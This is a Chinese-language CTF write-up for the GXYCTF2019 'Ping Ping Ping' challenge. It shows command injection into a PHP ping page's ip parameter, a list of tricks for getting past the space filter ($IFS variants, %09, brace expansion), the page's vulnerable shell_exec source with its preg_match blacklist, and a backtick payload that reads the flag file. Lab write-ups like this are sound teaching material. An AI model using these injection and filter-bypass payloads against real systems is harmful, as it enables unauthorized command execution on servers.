[GXYCTF2019]Ping Ping Ping 1

原來是甘文川同學發表於2021-03-06

進入介面

 

根據提示進行ping訊號

 

看到網頁的內容就想到經典的Linux命令執行,使用命令執行的管道符 "  |  "嘗試列出檔案

FLAG應該在Flag.php裡面

構造playload進行提取

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat flag.php

 

提示:“/?ip= fxck your space!”,space暗示我們存在空格過濾,嘗試構造語句來繞過空格

$IFS
${IFS}
$IFS$1 // $1改成$加其他數字貌似都行
< 
<> 
{cat,flag.php}  // 用逗號實現了空格功能
%20 
%09 

 

構造playload

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat$IFS$1flag.php

出現新的提示“/?ip= 1fxck your symbol!”

 

說明仍然存在“flag”過濾,聯想之前做的BUU題目,提示應該藏在另外一個php檔案(index.php)裡面,於是利用上面的繞過空格來構造Playload進行檢視index.php

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat${IFS}index.php

 

 

經行php程式碼審計

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); //preg_math函式過濾掉的字元
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){      //同上
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){   //同上
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);   
  echo "

";
  print_r($a);
}

?>

 

內聯輸出:使用反引號  ``代替 |,經反引號的輸出命令轉換為輸出

構造playload

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3;cat$IFS$9`ls`

 

得到flag

flag = "flag{1fe19100-c980-45f2-9625-262cbd69f6fa}"

 

考點

PHP preg_match() 函式過濾

內聯執行:使用反引號  ``代替 |,經反引號的輸出命令轉換為輸出

管道符

 

相關文章